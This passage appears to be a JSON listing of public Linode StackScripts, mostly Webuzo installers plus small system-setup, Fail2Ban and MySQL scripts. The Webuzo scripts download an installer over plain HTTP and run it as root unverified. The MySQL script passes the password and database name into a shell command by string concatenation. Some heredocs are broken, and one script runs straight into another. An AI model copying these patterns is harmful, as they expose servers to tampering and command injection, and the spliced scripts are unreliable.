"linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Gallery 2 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Gallery 2 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Gallery 2 :\n# Gallery is an open source web based photo album organizer.\n# Gallery gives you an intuitive way to blend photo management seamlessly into your own website \n# whether you''re running a small personal site or a large community site.\n# Serving millions worldwide, the Gallery project is the most widely used system of its kind. \n###########################################################################################################\n\n# Install Gallery 2 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=383&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Gallery 2 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Gallery 2 has been successfully installed\"\necho \" \"\necho \"You can now configure Gallery 2 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1119243, "username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label": "nono", "description": "nono", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\r\necho &quot;hello&quot;\r\n", "user_defined_fields": []}, {"id": 9227, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Eventum powered by Webuzo", "description": "Eventum is a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Eventum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Eventum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Eventum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Eventum :\n# Eventum is a user-friendly and flexible issue tracking system that can be used by a support \n# department to track incoming technical support requests, or by a software development team to quickly\n# organize tasks and bugs.\n###########################################################################################################\n\n# Install Eventum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=394&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Eventum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Eventum has been successfully installed\"\necho \" \"\necho \"You can now configure Eventum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1010699, "username": "manojserver", "user_gravatar_id": "11b2d04632b07576576c4cc464c99ddf", "label": "test", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu21.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# \n# \n# \n\n", "user_defined_fields": [{"name": "company_name", "label": "Company Name", "example": "My Company"}, {"name": "company_email", "label": "Company Email", "example": "my@company.com"}, {"name": "admin_email", "label": "Admin Email", "example": "my@company.com"}, {"name": "admin_password", "label": "Admin Password", "example": "s3cur39a55w0r0"}]}, {"id": 1280267, "username": "andrewmohawk", "user_gravatar_id": "c4a1738bcfba73859d7582676372dc1c", "label": "thisisjustatest", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\necho \"Hello world\"", "user_defined_fields": []}, {"id": 73228, "username": "rizerapp", "user_gravatar_id": "dc70e4f46019425154b0a652de0657da", "label": "lib-system-ubuntu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/ubuntu16.04lts", "linode/ubuntu16.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n# System related utilities\n#\n# Copyright (c) 2010 Filip Wasilewski .\n#\n# My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction system_update {\n apt-get update && apt-get upgrade -y\n}\n\nfunction system_add_user {\n # system_add_user(username, password, groups, shell=/bin/bash)\n USERNAME=`lower $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=$4\n if [ -z \"$4\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --create-home --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\" | chpasswd\n}\n\nfunction system_add_system_user {\n # system_add_system_user(username, home, shell=/bin/bash)\n USERNAME=`lower $1`\n HOME_DIR=$2\n SHELL=$3\n if [ -z \"$3\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --system --create-home --home-dir \"$HOME_DIR\" --shell \"$SHELL\" --user-group $USERNAME\n}\n\nfunction system_lock_user {\n # system_lock_user(username)\n passwd -l \"$1\"\n}\n\nfunction system_get_user_home {\n # system_get_user_home(username)\n cat /etc/passwd | grep \"^$1:\" | cut --delimiter=\":\" -f6\n}\n\nfunction system_user_add_ssh_key {\n # system_user_add_ssh_key(username, ssh_key)\n USERNAME=`lower $1`\n USER_HOME=`system_get_user_home \"$USERNAME\"`\n sudo -u \"$USERNAME\" mkdir \"$USER_HOME/.ssh\"\n sudo -u \"$USERNAME\" touch \"$USER_HOME/.ssh/authorized_keys\"\n sudo -u \"$USERNAME\" echo \"$2\" >> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction system_sshd_edit_bool {\n # system_sshd_edit_bool (param_name, \"Yes\"|\"No\")\n VALUE=`lower $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed -i \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction system_sshd_permitrootlogin {\n system_sshd_edit_bool \"PermitRootLogin\" \"$1\"\n}\n\nfunction system_sshd_passwordauthentication {\n system_sshd_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\nfunction system_update_hostname {\n # system_update_hostname(system hostname)\n if [ -z \"$1\" ]; then\n echo \"system_update_hostname() requires the system hostname as its first argument\"\n return 1;\n fi\n echo $1 > /etc/hostname\n hostname -F /etc/hostname\n echo -e \"\\n127.0.0.1 $1 $1.local\\n\" >> /etc/hosts\n}\n\nfunction system_security_logcheck {\n aptitude -y install logcheck logcheck-database\n # configure email\n # start after setup\n}\n\nfunction system_security_fail2ban {\n aptitude -y install fail2ban\n}\n\nfunction system_security_ufw_configure_basic {\n # see https://help.ubuntu.com/community/UFW\n ufw logging on\n\n ufw default deny\n\n ufw allow ssh/tcp\n ufw limit ssh/tcp\n\n ufw allow http/tcp\n ufw allow https/tcp\n\n ufw enable\n}\n\nfunction system_configure_private_network {\n # system_configure_private_network(private_ip)\n PRIVATE_IP=$1\n NETMASK=\"255.255.128.0\"\n cat >>/etc/network/interfaces <\n\n###########################################################################################################\n# Install Magento 1.7 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Magento 1.7 :\n# Magento is an Open Source ecommerce web application launched on March 31, 2008.\n# It was created by Varien, building on components of the Zend Framework.\n###########################################################################################################\n\n# Install Magento 1.7 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=465&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Magento 1.7 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Magento 1.7 has been successfully installed\"\necho \" \"\necho \"You can now configure Magento 1.7 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978956, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Test", "description": "Test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\nteffryt", "user_defined_fields": []}, {"id": 9229, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SVNManager powered by Webuzo", "description": "SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SVNManager and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SVNManager powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SVNManager and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SVNManager :\n# SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \n###########################################################################################################\n\n# Install SVNManager Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=380&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SVNManager and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SVNManager has been successfully installed\"\necho \" \"\necho \"You can now configure SVNManager and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193741, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "MySQL", "description": "Install MySQL or MariaDB to a Linode. Can also be used as a library for other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nMySQL StackScript\n\t\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- ss://linode/python-library \n\nThis StackScript both deploys and provides a library for MySQL. The functions \nin this StackScript are designed to be run across the Linode Core Distributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\nStackScript User Defined Variables:\n\n\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\n\ntry: # we''ll need to rename included StackScripts before we can import them\n\tos.rename(\"/root/ssinclude-3\", \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport pythonlib\n\n\ndef mysql_install(root_pw = False, db_name = False):\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add logging support\n\n\tpackage = {\n\t\t''debian'': ''mysql'',\n\t\t''redhat'': ''mariadb''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']] +\n\t\"-server\")\n\t\n\tmysql_start()\n\n\t# if provided with a root password, set it\n\tif root_pw :\n\t\tsubprocess.call([''mysqladmin'', ''-u'', ''root'', ''password'', root_pw])\n\t\n\t# if a database name was provided, let''s create it\n\tif db_name :\n\t\tsubprocess.call(''mysql -uroot -p'' + root_pw + '' -e \"create database '' + db_name + ''\"'', shell=True)\n\n\ndef mysql_start():\n\t\"\"\"Start MariaDB on CentOS and Fedora\"\"\"\n\n\tif pythonlib.distro[''family''] == \"redhat\":\n\t\tsubprocess.call([''systemctl'', ''start'', ''mariadb.service''])\n\n\ndef main():\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\n\tif os.environ[''DB_ROOT_PASSWORD''] != \"\":\n\t\tmysql_install(os.environ[''DB_ROOT_PASSWORD''])\n\telse:\n\t\tmysql_install()\n\n\tpythonlib.end()\n\n\nif __name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": [{"name": "db_root_password", "label": "MySQL/MariaDB root password", "default": ""}]}, {"id": 9230, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Vty powered by Webuzo", "description": "Vty is a web-based database manager script written with Php. It''s for Mysql.\r\n\r\nYou can connect to Mysql and see and edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Vty and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Vty powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Vty and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Vty :\n# Vty is a web-based database manager script written with Php. It''s for Mysql.\n# You can connect to Mysql and see and edit your databases and tables. \n###########################################################################################################\n\n# Install Vty Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=327&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Vty and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Vty has been successfully installed\"\necho \" \"\necho \"You can now configure Vty and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 575759, "username": "jfeinbaum", "user_gravatar_id": "b5810c3cbafb05a4d8a19e3a11e37ab3", "label": "dingdong", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n# This block defines the variables the user of the script needs to input\n# when deploying using this script.\n#\n#\n#\n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the packages on the system from the distribution repositories.\napt-get update\napt-get upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": 712720, "username": "aleksd2000", "user_gravatar_id": "a22bad2fb913c1cd5d89fab0d03de7ee", "label": "Fail2Ban Server", "description": "Fail2Ban Server Setup\n\nFail2Ban is an intrusion prevention software framework that protects computer servers from brute-force attacks. Written in the Python programming language, it is able to run on POSIX systems that have an interface to a packet-control system or firewall installed locally, for example, iptables or TCP Wrapper\n\nThis script installs the Fail2Ban application and creates two \"Jails\" one for SSH, and the other for SSHD.\n\nI hope people find this useful.", "ordinal": 0, "logo_url": "", "images": ["linode/debian8", "linode/debian9", "linode/debian10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Added support for Debian 8 and 9, and added default jail.local file", "script": "#!/bin/bash\n\n# Updating APT Database\napt-get update\n# Taking care of an initial upgrade\napt-get -y upgrade\n\n# Installing Fail2Ban Server\napt-get -y install fail2ban\n\n# Creating initial Jail.local File\ncat < /etc/fail2ban/jail.local\n\n# Default banning action (e.g. iptables, iptables-new,\n# iptables-multiport, shorewall, etc) It is used to define\n# action_* variables. Can be overridden globally or per\n# section within jail.local file\n\n#banaction = ufw\n#banaction_allports = ufw\n\n[ssh]\n\nenabled = true\nport = ssh\nfilter = sshd\nlogpath = /var/log/auth.log\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\n[sshd]\nenabled = true\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\nEOF\n\nsystemctl reload fail2ban", "user_defined_fields": []}, {"id": 9233, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Plandora powered by Webuzo", "description": "Plandora project was born to be a tool to help the software development process, from the customer requirement until the task conclusion, and consequently gather the \"history\" of project.\r\nThe Plandora system can be useful for teams that have problems with resource bottle-necks, parallel projects, critical dead lines, necessity for scope documentation of tasks and requirements, etc. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Plandora and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Plandora powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Plandora and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Plandora :\n# Plandora project was born to be a tool to help the software development process, from the customer \n# requirement until the task conclusion, and consequently gather the \"history\" of project.\n###########################################################################################################\n\n# Install Plandora Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=424&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Plandora and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Plandora has been successfully installed\"\necho \" \"\necho \"You can now configure Plandora and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9234, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ClientExec powered by Webuzo", "description": "ClientExec offers online help desk software intended to enhance the ability of small and mid-sized hosting businesses to manage help and support issues. Because the online help desk software can be accessed from any web browser, managers and staff can increase the flexibility and effectiveness with which they address client support issues.\r\n\r\nClientExec''s software includes an easy-to-use interface that enhances communication between clients and staff. E-mail messages sent through the online help desk software are automatically routed and tracked, so you don''t have to spend time chasing after lost messages. Support tickets can be quickly sorted, filtered, and assigned to individual team members, ensuring that the tickets are addressed in the most efficient possible manner.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ClientExec and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ClientExec powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ClientExec and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ClientExec :\n# ClientExec offers online help desk software intended to enhance the ability of small and mid-sized \n# hosting businesses to manage help and support issues.\n# Because the online help desk software can be accessed from any web browser, managers and \n# staff can increase the flexibility and effectiveness with which they address client support issues.\n###########################################################################################################\n\n# Install ClientExec Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=478&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ClientExec and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ClientExec has been successfully installed\"\necho \" \"\necho \"You can now configure ClientExec and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978962, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "StackScript Label", "description": "Description", "ordinal": 0, 